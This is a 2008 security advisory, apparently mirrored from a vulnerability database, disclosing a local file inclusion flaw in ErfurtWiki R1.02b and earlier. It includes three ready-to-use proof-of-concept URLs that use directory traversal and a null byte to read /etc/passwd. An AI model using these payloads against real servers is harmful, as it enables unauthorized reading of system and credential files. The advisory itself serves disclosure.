Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19996
HistoryJun 10, 2008 - 12:00 a.m.

[web-app] ErfurtWiki <= R1.02b (css) Local File Inclusion Vulnerability

2008-06-1000:00:00
vulners.com
37

/ | || | _ \| _ | _ | |
| (
| _ | [)/| () | () | | |
\_____|
| ||| ||||| ||
C. H. R. O. O. T. SECURITY GROUP
- – ----- — – – ---- — – -
http://www.chroot.org

                      _   _ _ _____ ____ ____ __  _ 
    Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
    Conference 2008  |  _  | | | | | (__| () |     |
                     |_| |_|_| |_| \____|____|_|\__|
                                  http://www.hitcon.org

Title =======:: ErfurtWiki <= R1.02b (css) Local File Inclusion Vulnerability

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: ErfurtWiki

Download ====:: http://erfurtwiki.sourceforge.net/downloads/ewiki-R1.02b.tgz

Mirror ======:: http://www.badongo.com/file/9611291


[Local File Inclusion]

  • {css.php} -

http://localhost/ewiki/fragments/css.php?ewiki_id=../../../../../../../../etc/passwd&#37;00&amp;ewiki_action=1

http://localhost/ewiki/?id=../../../../../../../../../../../../etc/passwd&#37;00

http://localhost/ewiki/fragments/css.php?ewiki_id=1&amp;ewiki_action=../../../../../../../../etc/passwd&#37;00


[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!